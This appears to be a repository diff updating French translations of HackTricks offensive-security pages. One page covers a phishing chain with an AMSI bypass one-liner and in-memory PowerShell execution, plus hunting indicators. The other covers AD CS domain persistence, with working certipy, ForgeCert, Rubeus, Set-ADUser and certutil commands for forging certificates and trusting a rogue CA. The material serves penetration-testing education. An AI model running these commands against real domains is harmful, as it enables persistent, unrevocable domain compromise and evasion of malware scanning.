3) Copier le ZIP dans %ProgramData%, l'extraire là, puis ouvrir le .docx leurre pour paraître légitime.
|
||||
1) Localiser le ZIP original dans des chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le parent du répertoire de travail actuel.
|
||||
2) Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est la charge utile PowerShell embarquée.
|
||||
3) Copier le ZIP dans %ProgramData%, l'extraire là, et ouvrir le .docx leurre pour paraître légitime.
|
||||
4) Contourner AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Déobfusquer l'étape suivante (par ex., supprimer tous les caractères #) et l'exécuter en mémoire.
|
||||
|
||||
@ -191,11 +191,11 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Remarques
|
||||
- La livraison abuse souvent des sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut gate les payloads (servir des ZIPs bénins en fonction de l'IP/UA).
|
||||
- La diffusion abuse souvent des sous-domaines PaaS réputés (p. ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bénins selon l'IP/UA).
|
||||
- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur le disque.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
Persistance utilisée dans la même chaîne
|
||||
- COM TypeLib hijacking du Microsoft Web Browser control de sorte que IE/Explorer ou toute application l'intégrant relance automatiquement le payload. Voir les détails et commandes prêtes à l'emploi ici :
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
@ -203,9 +203,18 @@ Persistence used in the same chain
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- .lnk qui énumère les dossiers parents/utilisateurs pour localiser le ZIP et ouvre un document leurre.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Conversations business de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
|
||||
- Threads métier de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
|
||||
|
||||
## Fichiers Windows pour voler des hashes NTLM
|
||||
|
||||
Consultez la page à propos de **places to steal NTLM creds** :
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -1,27 +1,27 @@
|
||||
# AD CS Persistance de domaine
|
||||
# Persistance de domaine AD CS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ceci est un résumé des techniques de persistance de domaine présentées dans [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consultez-le pour plus de détails.
|
||||
**Ceci est un résumé des techniques de persistance de domaine partagées dans [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consultez-le pour plus de détails.
|
||||
|
||||
## Falsification de certificats avec des certificats CA volés - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
How can you tell that a certificate is a CA certificate?
|
||||
Comment savoir qu'un certificat est un certificat CA ?
|
||||
|
||||
On peut déterminer qu'un certificat est un certificat CA si plusieurs conditions sont remplies :
|
||||
|
||||
- Le certificat est stocké sur le serveur CA, sa clé privée étant protégée par le DPAPI de la machine, ou par du matériel tel qu'un TPM/HSM si le système d'exploitation le prend en charge.
|
||||
- Les champs Issuer et Subject du certificat correspondent tous deux au nom distinctif (distinguished name) de la CA.
|
||||
- Le certificat est stocké sur le serveur CA, avec sa clé privée protégée par le DPAPI de la machine, ou par du matériel tel qu'un TPM/HSM si le système d'exploitation le prend en charge.
|
||||
- Les champs Issuer et Subject du certificat correspondent au nom distinctif de la CA.
|
||||
- Une extension "CA Version" est présente exclusivement dans les certificats CA.
|
||||
- Le certificat n'a pas de champs Extended Key Usage (EKU).
|
||||
- Le certificat ne possède pas de champs Extended Key Usage (EKU).
|
||||
|
||||
Pour extraire la clé privée de ce certificat, l'outil `certsrv.msc` sur le serveur CA est la méthode prise en charge via l'interface graphique intégrée. Néanmoins, ce certificat ne diffère pas des autres stockés dans le système ; des méthodes telles que la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) peuvent donc être utilisées pour l'extraction.
|
||||
Pour extraire la clé privée de ce certificat, l'outil `certsrv.msc` sur le serveur CA est la méthode prise en charge via l'interface graphique intégrée. Néanmoins, ce certificat ne diffère pas des autres stockés dans le système ; ainsi, des méthodes telles que la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) peuvent être appliquées pour l'extraction.
|
||||
|
||||
Le certificat et la clé privée peuvent également être obtenus avec Certipy en utilisant la commande suivante :
|
||||
Le certificat et la clé privée peuvent également être obtenus en utilisant Certipy avec la commande suivante :
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Après avoir acquis le certificat CA et sa clé privée au format `.pfx`, des outils comme [ForgeCert](https://github.com/GhostPack/ForgeCert) peuvent être utilisés pour générer des certificats valides :
|
||||
Une fois le certificat CA et sa clé privée obtenus au format `.pfx`, des outils comme [ForgeCert](https://github.com/GhostPack/ForgeCert) peuvent être utilisés pour générer des certificats valides :
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> L'utilisateur ciblé pour la falsification de certificat doit être actif et capable de s'authentifier dans Active Directory pour que le processus réussisse. Falsifier un certificat pour des comptes spéciaux comme krbtgt est inefficace.
|
||||
> L'utilisateur ciblé pour la falsification de certificat doit être actif et capable de s'authentifier dans Active Directory pour que le processus réussisse. Forger un certificat pour des comptes spéciaux comme krbtgt est inefficace.
|
||||
|
||||
Ce certificat falsifié sera **valide** jusqu'à la date de fin spécifiée et tant que **le certificat de la CA racine est valide** (généralement de 5 à **10+ ans**). Il est aussi valable pour les **machines**, donc combiné avec **S4U2Self**, un attaquant peut **maintenir la persistance sur n'importe quelle machine de domaine** aussi longtemps que le certificat CA est valide.\
|
||||
De plus, les **certificats générés** avec cette méthode **ne peuvent pas être révoqués** puisque la CA n'en a pas connaissance.
|
||||
Ce certificat forgé sera **valide** jusqu'à la date de fin spécifiée et tant que le certificat racine CA est **valide** (généralement de 5 à **10+ ans**). Il est aussi valide pour les **machines**, donc combiné avec **S4U2Self**, un attaquant peut **maintenir une persistance sur n'importe quelle machine du domaine** aussi longtemps que le certificat CA est valide.\
|
||||
De plus, les **certificats générés** avec cette méthode **ne peuvent pas être révoqués** car la CA n'en est pas informée.
|
||||
|
||||
### Fonctionnement sous l'application stricte du mapping des certificats (2025+)
|
||||
### Fonctionnement sous Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Depuis le 11 février 2025 (après le déploiement de KB5014754), les contrôleurs de domaine sont par défaut en **Full Enforcement** pour les mappings de certificats. Concrètement, cela signifie que vos certificats falsifiés doivent soit :
|
||||
Depuis le 11 février 2025 (après le déploiement de KB5014754), les contrôleurs de domaine sont par défaut en **Full Enforcement** pour les mappings de certificats. Concrètement, cela signifie que vos certificats forgés doivent soit :
|
||||
|
||||
- Contenir un lien fort avec le compte cible (par exemple, l'extension de sécurité SID), ou
|
||||
- Être associés à un mapping fort et explicite sur l'attribut `altSecurityIdentities` de l'objet cible.
|
||||
- Contenir une liaison forte vers le compte cible (par exemple, la SID security extension), ou
|
||||
- Être associé à un mappage explicite fort sur l'attribut `altSecurityIdentities` de l'objet cible.
|
||||
|
||||
Une approche fiable pour la persistance consiste à créer un certificat falsifié chaîné à l'Enterprise CA volée puis à ajouter un mapping explicite et fort au principal victime :
|
||||
Une approche fiable pour la persistance consiste à créer un certificat forgé chaîné à l'Enterprise CA volée, puis à ajouter un mappage explicite fort au principal victime :
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -56,15 +56,15 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Remarques
|
||||
- Si vous pouvez forger des certificats qui incluent le SID security extension, ceux-ci se mapperont implicitement même en Full Enforcement. Sinon, privilégiez des mappings explicites et robustes. Voir [account-persistence](account-persistence.md) pour plus d'informations sur les mappings explicites.
|
||||
- La révocation n'aide pas les défenseurs ici : les certificats forgés sont inconnus de la base de données de la CA et ne peuvent donc pas être révoqués.
|
||||
Notes
|
||||
- Si vous pouvez créer des forged certificates qui incluent l'extension de sécurité SID, celles-ci seront mappées implicitement même en Full Enforcement. Sinon, privilégiez des mappings explicites et robustes. Voir [account-persistence](account-persistence.md) pour plus d'informations sur les mappings explicites.
|
||||
- La révocation n'aide pas les défenseurs ici : les forged certificates sont inconnus de la base de données CA et ne peuvent donc pas être révoqués.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
L'objet `NTAuthCertificates` est défini pour contenir un ou plusieurs **certificats CA** dans son attribut `cacertificate`, utilisé par Active Directory (AD). Le processus de vérification par le **contrôleur de domaine** consiste à vérifier l'objet `NTAuthCertificates` pour une entrée correspondant à la **CA spécifiée** dans le champ Issuer du **certificat** authentifiant. L'authentification se poursuit si une correspondance est trouvée.
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
Un certificat CA auto-signé peut être ajouté à l'objet `NTAuthCertificates` par un attaquant, à condition qu'il contrôle cet objet AD. Normalement, seuls les membres du groupe **Enterprise Admin**, ainsi que les **Domain Admins** ou les **Administrators** dans le **domaine racine de la forêt**, disposent de l'autorisation de modifier cet objet. Ils peuvent éditer l'objet `NTAuthCertificates` en utilisant `certutil.exe` avec la commande `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ou en employant le [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
@ -77,34 +77,32 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Cette capacité est particulièrement pertinente lorsqu'elle est utilisée conjointement avec une méthode précédemment exposée impliquant ForgeCert pour générer dynamiquement des certificats.
|
||||
Cette capacité est particulièrement pertinente lorsqu'elle est utilisée conjointement avec une méthode décrite précédemment impliquant ForgeCert pour générer dynamiquement des certificats.
|
||||
|
||||
> Considérations de cartographie post-2025 : placer une CA rogue dans NTAuth n'établit la confiance qu'à l'égard de la CA émettrice. Pour utiliser des certificats leaf pour la connexion lorsque les DCs sont en **Full Enforcement**, le leaf doit soit contenir l'extension de sécurité SID soit il doit exister un mappage explicite fort sur l'objet cible (par exemple, Issuer+Serial dans `altSecurityIdentities`). Voir {{#ref}}account-persistence.md{{#endref}}.
|
||||
> Considérations de mappage post-2025 : placer une CA malveillante dans NTAuth n'établit que la confiance envers la CA émettrice. Pour utiliser des leaf certificates pour la connexion lorsque les DCs sont en **Full Enforcement**, le certificat leaf doit soit contenir l'extension de sécurité SID, soit il doit y avoir un mappage explicite fort sur l'objet cible (par exemple, Issuer+Serial dans `altSecurityIdentities`). Voir {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
## Mauvaise configuration malveillante - DPERSIST3
|
||||
|
||||
Les opportunités de **persistence** via des modifications de descripteurs de sécurité des composants AD CS sont nombreuses. Les modifications décrites dans la section "[Domain Escalation](domain-escalation.md)" peuvent être mises en œuvre de manière malveillante par un attaquant disposant d'un accès élevé. Cela inclut l'ajout de "control rights" (par ex., WriteOwner/WriteDACL/etc.) sur des composants sensibles tels que :
|
||||
Les opportunités de **persistance** via des **modifications des descripteurs de sécurité des composants AD CS** sont nombreuses. Les modifications décrites dans la section "[Domain Escalation](domain-escalation.md)" peuvent être mises en œuvre de façon malveillante par un attaquant disposant d'un accès élevé. Cela inclut l'ajout de « control rights » (par ex., WriteOwner/WriteDACL/etc.) sur des composants sensibles tels que :
|
||||
|
||||
- L'objet **AD computer** du **CA server**
|
||||
- Le **RPC/DCOM server** du **CA server**
|
||||
- L'objet **ordinateur AD du serveur CA**
|
||||
- Le **service RPC/DCOM du serveur CA**
|
||||
- Tout **objet AD descendant ou conteneur** dans **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (par exemple, le conteneur Certificate Templates, le conteneur Certification Authorities, l'objet NTAuthCertificates, etc.)
|
||||
- **Des groupes AD délégués pour contrôler AD CS** par défaut ou par l'organisation (comme le groupe intégré Cert Publishers et n'importe lequel de ses membres)
|
||||
- **Groupes AD délégués des droits pour contrôler AD CS** par défaut ou par l'organisation (comme le groupe intégré Cert Publishers et chacun de ses membres)
|
||||
|
||||
Un exemple d'implémentation malveillante impliquerait qu'un attaquant, ayant des **permissions élevées** dans le domaine, ajoute la permission **`WriteOwner`** au template de certificat par défaut **`User`**, en se mettant lui-même comme principal pour ce droit. Pour exploiter cela, l'attaquant changerait d'abord la propriété du template **`User`** pour se l'attribuer. Ensuite, le **`mspki-certificate-name-flag`** serait défini sur **1** sur le template pour activer **`ENROLLEE_SUPPLIES_SUBJECT`**, permettant à un utilisateur de fournir un Subject Alternative Name dans la requête. Par la suite, l'attaquant pourrait **enroll** en utilisant le **template**, choisissant un nom d'**administrateur de domaine** comme nom alternatif, et utiliser le certificat acquis pour s'authentifier en tant que DA.
|
||||
Un exemple de mise en œuvre malveillante impliquerait un attaquant, qui dispose de **permissions élevées** dans le domaine, ajoutant la permission **`WriteOwner`** au modèle de certificat par défaut **`User`**, en étant le principal pour ce droit. Pour exploiter cela, l'attaquant changerait d'abord la propriété du modèle **`User`** pour se l'attribuer. Ensuite, le **`mspki-certificate-name-flag`** serait réglé sur **1** sur le modèle pour activer **`ENROLLEE_SUPPLIES_SUBJECT`**, permettant à un utilisateur de fournir un Subject Alternative Name dans la requête. Par la suite, l'attaquant pourrait **s'enroller** en utilisant le **template**, choisissant un nom de **domain administrator** comme nom alternatif, et utiliser le certificat obtenu pour s'authentifier en tant que DA.
|
||||
|
||||
Réglages pratiques qu'un attaquant peut définir pour une persistence long terme dans le domaine (voir {{#ref}}domain-escalation.md{{#endref}} pour les détails complets et la détection) :
|
||||
Réglages pratiques que les attaquants peuvent configurer pour une persistance à long terme dans le domaine (voir {{#ref}}domain-escalation.md{{#endref}} pour les détails complets et la détection) :
|
||||
|
||||
- Flags de politique CA permettant les SAN depuis les requérants (par ex., activation de `EDITF_ATTRIBUTESUBJECTALTNAME2`). Cela maintient exploitables des chemins de type ESC1.
|
||||
- DACL du template ou paramètres permettant une émission capable d'authentification (par ex., ajout de Client Authentication EKU, activation de `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Contrôler l'objet `NTAuthCertificates` ou les conteneurs CA pour réintroduire en continu des émetteurs rogue si les défenseurs tentent un nettoyage.
|
||||
- Flags de politique CA permettant le SAN depuis les demandeurs (par ex., activation de `EDITF_ATTRIBUTESUBJECTALTNAME2`). Cela maintient exploitables des chemins de type ESC1.
|
||||
- DACL du template ou paramètres permettant une émission apte à l'authentification (par ex., ajout du EKU Client Authentication, activation de `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Contrôler l'objet `NTAuthCertificates` ou les conteneurs CA pour réintroduire en continu des émetteurs malveillants si les défenseurs tentent un nettoyage.
|
||||
|
||||
> [!TIP]
|
||||
> Dans des environnements durcis post-KB5014754, associer ces mauvaises configurations à des mappages explicites forts (`altSecurityIdentities`) garantit que vos certificats émis ou forgés restent utilisables même lorsque les DCs appliquent un mappage strict.
|
||||
> Dans les environnements durcis après KB5014754, associer ces mauvaises configurations à des mappages explicites et forts (`altSecurityIdentities`) garantit que vos certificats émis ou forgés restent utilisables même lorsque les DCs appliquent un mappage strict.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
- Microsoft KB5014754 – Changements de l'authentification basée sur les certificats sur les contrôleurs de domaine Windows (calendrier d'application et mappages forts). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Référence des commandes et utilisation de forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user